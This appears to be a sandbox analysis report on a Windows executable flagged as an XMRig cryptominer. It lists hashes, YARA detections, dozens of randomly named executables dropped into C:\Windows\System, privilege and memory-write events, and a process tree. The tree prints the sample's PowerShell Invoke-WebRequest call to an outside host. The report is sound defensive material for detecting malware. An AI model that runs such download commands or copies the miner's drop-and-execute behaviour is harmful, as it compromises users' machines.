xmrig | bc37078f521a64c03ac01548f4abcdef7deba17f01a6ba0016c5d953db449bea

Analysis

max time kernel
26s
max time network
147s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
07/07/2024, 12:26

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

020a73a5d6fadc14f0ec57dc07f3b810N.exe
Size

3.3MB
MD5

020a73a5d6fadc14f0ec57dc07f3b810
SHA1

83695d1ae4e4aa8dbd7b9f1a531abe54f95a9982
SHA256

bc37078f521a64c03ac01548f4abcdef7deba17f01a6ba0016c5d953db449bea
SHA512

c060e477048c4d7637216332369f64b375a630c60a844da9cdbaa5f66d6687bdeed3264754bf9363ab97b512125318b4ee33ff73db91cec63d4aea7ef5238cf4
SSDEEP

98304:71ONtyBeSFkXV1etEKLlWUTOfeiRA2R76zHrWS:7bBeSFkm

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 58 IoCs

miner

resource	yara_rule
behavioral1/memory/2136-0-0x000000013FEC0000-0x00000001402B6000-memory.dmp	xmrig
behavioral1/files/0x000d00000001226a-6.dat	xmrig
behavioral1/files/0x0008000000015da7-10.dat	xmrig
behavioral1/files/0x0007000000015ebb-28.dat	xmrig
behavioral1/files/0x0007000000004e74-33.dat	xmrig
behavioral1/memory/2052-34-0x000000013F7B0000-0x000000013FBA6000-memory.dmp	xmrig
behavioral1/files/0x0008000000015ff5-38.dat	xmrig
behavioral1/memory/1900-32-0x000000013F0C0000-0x000000013F4B6000-memory.dmp	xmrig
behavioral1/memory/2284-26-0x000000013FA40000-0x000000013FE36000-memory.dmp	xmrig
behavioral1/files/0x0008000000016123-44.dat	xmrig
behavioral1/files/0x00080000000161f3-51.dat	xmrig
behavioral1/files/0x00050000000191c6-61.dat	xmrig
behavioral1/files/0x0005000000019248-81.dat	xmrig
behavioral1/files/0x000500000001927e-107.dat	xmrig
behavioral1/files/0x0005000000019255-90.dat	xmrig
behavioral1/files/0x0005000000019258-97.dat	xmrig
behavioral1/files/0x000500000001924b-84.dat	xmrig
behavioral1/files/0x0005000000019236-75.dat	xmrig
behavioral1/files/0x000500000001921e-70.dat	xmrig
behavioral1/files/0x00050000000191f1-65.dat	xmrig
behavioral1/files/0x0009000000015d7b-55.dat	xmrig
behavioral1/files/0x0008000000015d9b-11.dat	xmrig
behavioral1/files/0x0005000000019345-110.dat	xmrig
behavioral1/files/0x0005000000019389-153.dat	xmrig
behavioral1/files/0x0005000000019415-162.dat	xmrig
behavioral1/files/0x0005000000019434-177.dat	xmrig
behavioral1/files/0x000500000001944e-192.dat	xmrig
behavioral1/files/0x000500000001943f-182.dat	xmrig
behavioral1/files/0x000500000001944a-187.dat	xmrig
behavioral1/files/0x000500000001942a-172.dat	xmrig
behavioral1/files/0x0005000000019418-167.dat	xmrig
behavioral1/files/0x0005000000019397-157.dat	xmrig
behavioral1/memory/2100-139-0x000000013F100000-0x000000013F4F6000-memory.dmp	xmrig
behavioral1/files/0x000500000001935d-137.dat	xmrig
behavioral1/memory/2624-147-0x000000013F7B0000-0x000000013FBA6000-memory.dmp	xmrig
behavioral1/files/0x000500000001936d-145.dat	xmrig
behavioral1/memory/1656-134-0x000000013F8F0000-0x000000013FCE6000-memory.dmp	xmrig
behavioral1/memory/2436-130-0x000000013F290000-0x000000013F686000-memory.dmp	xmrig
behavioral1/memory/2388-128-0x000000013F470000-0x000000013F866000-memory.dmp	xmrig
behavioral1/memory/2432-126-0x000000013FFA0000-0x0000000140396000-memory.dmp	xmrig
behavioral1/memory/2240-124-0x000000013FE80000-0x0000000140276000-memory.dmp	xmrig
behavioral1/memory/2412-123-0x000000013F870000-0x000000013FC66000-memory.dmp	xmrig
behavioral1/memory/1312-121-0x000000013F1A0000-0x000000013F596000-memory.dmp	xmrig
behavioral1/files/0x0005000000019348-117.dat	xmrig
behavioral1/files/0x0005000000019276-102.dat	xmrig
behavioral1/memory/2284-1481-0x000000013FA40000-0x000000013FE36000-memory.dmp	xmrig
behavioral1/memory/2052-1502-0x000000013F7B0000-0x000000013FBA6000-memory.dmp	xmrig
behavioral1/memory/1900-1498-0x000000013F0C0000-0x000000013F4B6000-memory.dmp	xmrig
behavioral1/memory/1312-1515-0x000000013F1A0000-0x000000013F596000-memory.dmp	xmrig
behavioral1/memory/2624-1518-0x000000013F7B0000-0x000000013FBA6000-memory.dmp	xmrig
behavioral1/memory/2412-1528-0x000000013F870000-0x000000013FC66000-memory.dmp	xmrig
behavioral1/memory/2432-1535-0x000000013FFA0000-0x0000000140396000-memory.dmp	xmrig
behavioral1/memory/2388-1536-0x000000013F470000-0x000000013F866000-memory.dmp	xmrig
behavioral1/memory/2436-1539-0x000000013F290000-0x000000013F686000-memory.dmp	xmrig
behavioral1/memory/2100-1538-0x000000013F100000-0x000000013F4F6000-memory.dmp	xmrig
behavioral1/memory/1656-1537-0x000000013F8F0000-0x000000013FCE6000-memory.dmp	xmrig
behavioral1/memory/2240-1534-0x000000013FE80000-0x0000000140276000-memory.dmp	xmrig
behavioral1/memory/2136-1814-0x000000013FEC0000-0x00000001402B6000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2176	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
2284	kRUmySm.exe
1900	rErbfIM.exe
2052	spZCNoj.exe
1312	OujxUPt.exe
2624	ouEJWog.exe
2412	lKvistz.exe
2240	AhBFvlh.exe
2432	Iwdqmxl.exe
2388	beOnDBo.exe
2436	RUAdteF.exe
1656	PWHROhb.exe
2100	NAIYGUJ.exe
1044	zqghfNC.exe
1996	cuwtyjh.exe
1032	BhhXcmz.exe
444	ktLclPf.exe
316	mEaVJWf.exe
1564	dBIRlNG.exe
2040	HQqvzhf.exe
1580	dnuViPM.exe
1688	RJWJxuz.exe
2608	xPRiWce.exe
2724	dCmlPdH.exe
2784	jNXaNYF.exe
2656	zYIBYot.exe
1912	ZLqeIyv.exe
768	zeVNzhq.exe
2908	AVXTEFc.exe
824	MCdtsfb.exe
1536	mlooZBe.exe
2788	IlGaJmt.exe
1364	MHxzPkm.exe
2988	jSYFfVA.exe
536	GESIXGY.exe
2252	stkgFla.exe
1660	TmdHCVi.exe
564	WyPYxmZ.exe
1600	MzfPXTv.exe
2892	WoyKYEN.exe
1248	dzpflcp.exe
2980	TBdfdRQ.exe
3040	AgjJQwV.exe
2024	UrfGOrQ.exe
2896	LksdLyT.exe
888	EaseXmp.exe
2308	jOusPFT.exe
2140	zcZOeHt.exe
1524	JKkZlHa.exe
2316	RPExAyp.exe
2092	lpcoqUh.exe
2572	JDDIaDy.exe
2088	ErJAaDa.exe
2536	JlYuzdk.exe
2596	SrtmXqV.exe
2688	NmCTOCM.exe
1228	YlItFHl.exe
2708	oZTcPne.exe
2564	xbVblDL.exe
1872	RgerRhW.exe
1748	cqpUcHH.exe
2360	yjyLdxQ.exe
2496	gMjFakc.exe
1616	CmpCrkA.exe
1652	bBIqFxe.exe

Loads dropped DLL 64 IoCs

pid	Process
2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe
2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe
2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe
2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe
2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe
2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe
2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe
2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe
2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe
2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe
2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe
2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe
2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe
2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe
2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe
2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe
2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe
2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe
2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe
2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe
2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe
2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe
2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe
2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe
2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe
2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe
2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe
2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe
2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe
2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe
2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe
2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe
2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe
2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe
2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe
2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe
2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe
2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe
2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe
2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe
2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe
2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe
2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe
2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe
2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe
2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe
2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe
2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe
2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe
2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe
2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe
2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe
2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe
2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe
2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe
2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe
2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe
2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe
2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe
2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe
2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe
2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe
2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe
2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe

UPX packed file 58 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2136-0-0x000000013FEC0000-0x00000001402B6000-memory.dmp	upx
behavioral1/files/0x000d00000001226a-6.dat	upx
behavioral1/files/0x0008000000015da7-10.dat	upx
behavioral1/files/0x0007000000015ebb-28.dat	upx
behavioral1/files/0x0007000000004e74-33.dat	upx
behavioral1/memory/2052-34-0x000000013F7B0000-0x000000013FBA6000-memory.dmp	upx
behavioral1/files/0x0008000000015ff5-38.dat	upx
behavioral1/memory/1900-32-0x000000013F0C0000-0x000000013F4B6000-memory.dmp	upx
behavioral1/memory/2284-26-0x000000013FA40000-0x000000013FE36000-memory.dmp	upx
behavioral1/files/0x0008000000016123-44.dat	upx
behavioral1/files/0x00080000000161f3-51.dat	upx
behavioral1/files/0x00050000000191c6-61.dat	upx
behavioral1/files/0x0005000000019248-81.dat	upx
behavioral1/files/0x000500000001927e-107.dat	upx
behavioral1/files/0x0005000000019255-90.dat	upx
behavioral1/files/0x0005000000019258-97.dat	upx
behavioral1/files/0x000500000001924b-84.dat	upx
behavioral1/files/0x0005000000019236-75.dat	upx
behavioral1/files/0x000500000001921e-70.dat	upx
behavioral1/files/0x00050000000191f1-65.dat	upx
behavioral1/files/0x0009000000015d7b-55.dat	upx
behavioral1/files/0x0008000000015d9b-11.dat	upx
behavioral1/files/0x0005000000019345-110.dat	upx
behavioral1/files/0x0005000000019389-153.dat	upx
behavioral1/files/0x0005000000019415-162.dat	upx
behavioral1/files/0x0005000000019434-177.dat	upx
behavioral1/files/0x000500000001944e-192.dat	upx
behavioral1/files/0x000500000001943f-182.dat	upx
behavioral1/files/0x000500000001944a-187.dat	upx
behavioral1/files/0x000500000001942a-172.dat	upx
behavioral1/files/0x0005000000019418-167.dat	upx
behavioral1/files/0x0005000000019397-157.dat	upx
behavioral1/memory/2100-139-0x000000013F100000-0x000000013F4F6000-memory.dmp	upx
behavioral1/files/0x000500000001935d-137.dat	upx
behavioral1/memory/2624-147-0x000000013F7B0000-0x000000013FBA6000-memory.dmp	upx
behavioral1/files/0x000500000001936d-145.dat	upx
behavioral1/memory/1656-134-0x000000013F8F0000-0x000000013FCE6000-memory.dmp	upx
behavioral1/memory/2436-130-0x000000013F290000-0x000000013F686000-memory.dmp	upx
behavioral1/memory/2388-128-0x000000013F470000-0x000000013F866000-memory.dmp	upx
behavioral1/memory/2432-126-0x000000013FFA0000-0x0000000140396000-memory.dmp	upx
behavioral1/memory/2240-124-0x000000013FE80000-0x0000000140276000-memory.dmp	upx
behavioral1/memory/2412-123-0x000000013F870000-0x000000013FC66000-memory.dmp	upx
behavioral1/memory/1312-121-0x000000013F1A0000-0x000000013F596000-memory.dmp	upx
behavioral1/files/0x0005000000019348-117.dat	upx
behavioral1/files/0x0005000000019276-102.dat	upx
behavioral1/memory/2284-1481-0x000000013FA40000-0x000000013FE36000-memory.dmp	upx
behavioral1/memory/2052-1502-0x000000013F7B0000-0x000000013FBA6000-memory.dmp	upx
behavioral1/memory/1900-1498-0x000000013F0C0000-0x000000013F4B6000-memory.dmp	upx
behavioral1/memory/1312-1515-0x000000013F1A0000-0x000000013F596000-memory.dmp	upx
behavioral1/memory/2624-1518-0x000000013F7B0000-0x000000013FBA6000-memory.dmp	upx
behavioral1/memory/2412-1528-0x000000013F870000-0x000000013FC66000-memory.dmp	upx
behavioral1/memory/2432-1535-0x000000013FFA0000-0x0000000140396000-memory.dmp	upx
behavioral1/memory/2388-1536-0x000000013F470000-0x000000013F866000-memory.dmp	upx
behavioral1/memory/2436-1539-0x000000013F290000-0x000000013F686000-memory.dmp	upx
behavioral1/memory/2100-1538-0x000000013F100000-0x000000013F4F6000-memory.dmp	upx
behavioral1/memory/1656-1537-0x000000013F8F0000-0x000000013FCE6000-memory.dmp	upx
behavioral1/memory/2240-1534-0x000000013FE80000-0x0000000140276000-memory.dmp	upx
behavioral1/memory/2136-1814-0x000000013FEC0000-0x00000001402B6000-memory.dmp	upx

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\AVXTEFc.exe	020a73a5d6fadc14f0ec57dc07f3b810N.exe
File created	C:\Windows\System\EYBmYnM.exe	020a73a5d6fadc14f0ec57dc07f3b810N.exe
File created	C:\Windows\System\CAQoxCB.exe	020a73a5d6fadc14f0ec57dc07f3b810N.exe
File created	C:\Windows\System\CQlJlsY.exe	020a73a5d6fadc14f0ec57dc07f3b810N.exe
File created	C:\Windows\System\CiPqvjx.exe	020a73a5d6fadc14f0ec57dc07f3b810N.exe
File created	C:\Windows\System\yBvhOLc.exe	020a73a5d6fadc14f0ec57dc07f3b810N.exe
File created	C:\Windows\System\cuwtyjh.exe	020a73a5d6fadc14f0ec57dc07f3b810N.exe
File created	C:\Windows\System\NmCTOCM.exe	020a73a5d6fadc14f0ec57dc07f3b810N.exe
File created	C:\Windows\System\htRSLPC.exe	020a73a5d6fadc14f0ec57dc07f3b810N.exe
File created	C:\Windows\System\PlaGBvj.exe	020a73a5d6fadc14f0ec57dc07f3b810N.exe
File created	C:\Windows\System\VlzFVqq.exe	020a73a5d6fadc14f0ec57dc07f3b810N.exe
File created	C:\Windows\System\PrndiMx.exe	020a73a5d6fadc14f0ec57dc07f3b810N.exe
File created	C:\Windows\System\JlYuzdk.exe	020a73a5d6fadc14f0ec57dc07f3b810N.exe
File created	C:\Windows\System\lKvistz.exe	020a73a5d6fadc14f0ec57dc07f3b810N.exe
File created	C:\Windows\System\vAwYhdV.exe	020a73a5d6fadc14f0ec57dc07f3b810N.exe
File created	C:\Windows\System\uAdeZlJ.exe	020a73a5d6fadc14f0ec57dc07f3b810N.exe
File created	C:\Windows\System\dXQzcdb.exe	020a73a5d6fadc14f0ec57dc07f3b810N.exe
File created	C:\Windows\System\ZURCAby.exe	020a73a5d6fadc14f0ec57dc07f3b810N.exe
File created	C:\Windows\System\LGKrboP.exe	020a73a5d6fadc14f0ec57dc07f3b810N.exe
File created	C:\Windows\System\aPZprQl.exe	020a73a5d6fadc14f0ec57dc07f3b810N.exe
File created	C:\Windows\System\rErbfIM.exe	020a73a5d6fadc14f0ec57dc07f3b810N.exe
File created	C:\Windows\System\DuqjLxm.exe	020a73a5d6fadc14f0ec57dc07f3b810N.exe
File created	C:\Windows\System\UyUcsKW.exe	020a73a5d6fadc14f0ec57dc07f3b810N.exe
File created	C:\Windows\System\qOaKeke.exe	020a73a5d6fadc14f0ec57dc07f3b810N.exe
File created	C:\Windows\System\BKPHorn.exe	020a73a5d6fadc14f0ec57dc07f3b810N.exe
File created	C:\Windows\System\tlaEzjZ.exe	020a73a5d6fadc14f0ec57dc07f3b810N.exe
File created	C:\Windows\System\JKkZlHa.exe	020a73a5d6fadc14f0ec57dc07f3b810N.exe
File created	C:\Windows\System\MHxzPkm.exe	020a73a5d6fadc14f0ec57dc07f3b810N.exe
File created	C:\Windows\System\TBdfdRQ.exe	020a73a5d6fadc14f0ec57dc07f3b810N.exe
File created	C:\Windows\System\zcZOeHt.exe	020a73a5d6fadc14f0ec57dc07f3b810N.exe
File created	C:\Windows\System\WalXwhn.exe	020a73a5d6fadc14f0ec57dc07f3b810N.exe
File created	C:\Windows\System\PNNvJTD.exe	020a73a5d6fadc14f0ec57dc07f3b810N.exe
File created	C:\Windows\System\IlGaJmt.exe	020a73a5d6fadc14f0ec57dc07f3b810N.exe
File created	C:\Windows\System\RUAdteF.exe	020a73a5d6fadc14f0ec57dc07f3b810N.exe
File created	C:\Windows\System\dBIRlNG.exe	020a73a5d6fadc14f0ec57dc07f3b810N.exe
File created	C:\Windows\System\mlooZBe.exe	020a73a5d6fadc14f0ec57dc07f3b810N.exe
File created	C:\Windows\System\FPAxmRJ.exe	020a73a5d6fadc14f0ec57dc07f3b810N.exe
File created	C:\Windows\System\fdOZfTt.exe	020a73a5d6fadc14f0ec57dc07f3b810N.exe
File created	C:\Windows\System\CFpjRdo.exe	020a73a5d6fadc14f0ec57dc07f3b810N.exe
File created	C:\Windows\System\huExwDr.exe	020a73a5d6fadc14f0ec57dc07f3b810N.exe
File created	C:\Windows\System\spZCNoj.exe	020a73a5d6fadc14f0ec57dc07f3b810N.exe
File created	C:\Windows\System\HrUMitO.exe	020a73a5d6fadc14f0ec57dc07f3b810N.exe
File created	C:\Windows\System\ymXYXFL.exe	020a73a5d6fadc14f0ec57dc07f3b810N.exe
File created	C:\Windows\System\AmVmqCf.exe	020a73a5d6fadc14f0ec57dc07f3b810N.exe
File created	C:\Windows\System\JnFIoJJ.exe	020a73a5d6fadc14f0ec57dc07f3b810N.exe
File created	C:\Windows\System\duZBuNV.exe	020a73a5d6fadc14f0ec57dc07f3b810N.exe
File created	C:\Windows\System\fnPhWEm.exe	020a73a5d6fadc14f0ec57dc07f3b810N.exe
File created	C:\Windows\System\PwBDXGc.exe	020a73a5d6fadc14f0ec57dc07f3b810N.exe
File created	C:\Windows\System\NAIYGUJ.exe	020a73a5d6fadc14f0ec57dc07f3b810N.exe
File created	C:\Windows\System\zeVNzhq.exe	020a73a5d6fadc14f0ec57dc07f3b810N.exe
File created	C:\Windows\System\GESIXGY.exe	020a73a5d6fadc14f0ec57dc07f3b810N.exe
File created	C:\Windows\System\yjyLdxQ.exe	020a73a5d6fadc14f0ec57dc07f3b810N.exe
File created	C:\Windows\System\bBIqFxe.exe	020a73a5d6fadc14f0ec57dc07f3b810N.exe
File created	C:\Windows\System\BJXgGxO.exe	020a73a5d6fadc14f0ec57dc07f3b810N.exe
File created	C:\Windows\System\MSLQOeQ.exe	020a73a5d6fadc14f0ec57dc07f3b810N.exe
File created	C:\Windows\System\PWHROhb.exe	020a73a5d6fadc14f0ec57dc07f3b810N.exe
File created	C:\Windows\System\TxytQpd.exe	020a73a5d6fadc14f0ec57dc07f3b810N.exe
File created	C:\Windows\System\dnuViPM.exe	020a73a5d6fadc14f0ec57dc07f3b810N.exe
File created	C:\Windows\System\kfcTQuK.exe	020a73a5d6fadc14f0ec57dc07f3b810N.exe
File created	C:\Windows\System\KeYWzhz.exe	020a73a5d6fadc14f0ec57dc07f3b810N.exe
File created	C:\Windows\System\zqghfNC.exe	020a73a5d6fadc14f0ec57dc07f3b810N.exe
File created	C:\Windows\System\WyPYxmZ.exe	020a73a5d6fadc14f0ec57dc07f3b810N.exe
File created	C:\Windows\System\PpaNuYg.exe	020a73a5d6fadc14f0ec57dc07f3b810N.exe
File created	C:\Windows\System\VpqpLss.exe	020a73a5d6fadc14f0ec57dc07f3b810N.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2176	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe
Token: SeLockMemoryPrivilege	2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe
Token: SeDebugPrivilege	2176	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2136 wrote to memory of 2176	2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe	31
PID 2136 wrote to memory of 2176	2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe	31
PID 2136 wrote to memory of 2176	2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe	31
PID 2136 wrote to memory of 2284	2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe	32
PID 2136 wrote to memory of 2284	2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe	32
PID 2136 wrote to memory of 2284	2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe	32
PID 2136 wrote to memory of 1900	2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe	33
PID 2136 wrote to memory of 1900	2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe	33
PID 2136 wrote to memory of 1900	2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe	33
PID 2136 wrote to memory of 2052	2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe	34
PID 2136 wrote to memory of 2052	2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe	34
PID 2136 wrote to memory of 2052	2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe	34
PID 2136 wrote to memory of 1312	2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe	35
PID 2136 wrote to memory of 1312	2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe	35
PID 2136 wrote to memory of 1312	2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe	35
PID 2136 wrote to memory of 2624	2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe	36
PID 2136 wrote to memory of 2624	2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe	36
PID 2136 wrote to memory of 2624	2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe	36
PID 2136 wrote to memory of 2240	2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe	37
PID 2136 wrote to memory of 2240	2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe	37
PID 2136 wrote to memory of 2240	2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe	37
PID 2136 wrote to memory of 2412	2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe	38
PID 2136 wrote to memory of 2412	2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe	38
PID 2136 wrote to memory of 2412	2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe	38
PID 2136 wrote to memory of 2432	2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe	39
PID 2136 wrote to memory of 2432	2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe	39
PID 2136 wrote to memory of 2432	2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe	39
PID 2136 wrote to memory of 2388	2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe	40
PID 2136 wrote to memory of 2388	2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe	40
PID 2136 wrote to memory of 2388	2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe	40
PID 2136 wrote to memory of 2436	2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe	41
PID 2136 wrote to memory of 2436	2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe	41
PID 2136 wrote to memory of 2436	2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe	41
PID 2136 wrote to memory of 1656	2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe	42
PID 2136 wrote to memory of 1656	2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe	42
PID 2136 wrote to memory of 1656	2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe	42
PID 2136 wrote to memory of 2100	2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe	43
PID 2136 wrote to memory of 2100	2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe	43
PID 2136 wrote to memory of 2100	2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe	43
PID 2136 wrote to memory of 1044	2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe	44
PID 2136 wrote to memory of 1044	2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe	44
PID 2136 wrote to memory of 1044	2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe	44
PID 2136 wrote to memory of 1996	2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe	45
PID 2136 wrote to memory of 1996	2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe	45
PID 2136 wrote to memory of 1996	2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe	45
PID 2136 wrote to memory of 1032	2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe	46
PID 2136 wrote to memory of 1032	2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe	46
PID 2136 wrote to memory of 1032	2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe	46
PID 2136 wrote to memory of 444	2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe	47
PID 2136 wrote to memory of 444	2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe	47
PID 2136 wrote to memory of 444	2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe	47
PID 2136 wrote to memory of 316	2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe	48
PID 2136 wrote to memory of 316	2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe	48
PID 2136 wrote to memory of 316	2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe	48
PID 2136 wrote to memory of 1564	2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe	49
PID 2136 wrote to memory of 1564	2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe	49
PID 2136 wrote to memory of 1564	2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe	49
PID 2136 wrote to memory of 2040	2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe	50
PID 2136 wrote to memory of 2040	2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe	50
PID 2136 wrote to memory of 2040	2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe	50
PID 2136 wrote to memory of 1580	2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe	51
PID 2136 wrote to memory of 1580	2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe	51
PID 2136 wrote to memory of 1580	2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe	51
PID 2136 wrote to memory of 1688	2136	020a73a5d6fadc14f0ec57dc07f3b810N.exe	52

C:\Users\Admin\AppData\Local\Temp\020a73a5d6fadc14f0ec57dc07f3b810N.exe
"C:\Users\Admin\AppData\Local\Temp\020a73a5d6fadc14f0ec57dc07f3b810N.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2136
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2176
- C:\Windows\System\kRUmySm.exe
  C:\Windows\System\kRUmySm.exe
  2⤵
  - Executes dropped EXE
  PID:2284
- C:\Windows\System\rErbfIM.exe
  C:\Windows\System\rErbfIM.exe
  2⤵
  - Executes dropped EXE
  PID:1900
- C:\Windows\System\spZCNoj.exe
  C:\Windows\System\spZCNoj.exe
  2⤵
  - Executes dropped EXE
  PID:2052
- C:\Windows\System\OujxUPt.exe
  C:\Windows\System\OujxUPt.exe
  2⤵
  - Executes dropped EXE
  PID:1312
- C:\Windows\System\ouEJWog.exe
  C:\Windows\System\ouEJWog.exe
  2⤵
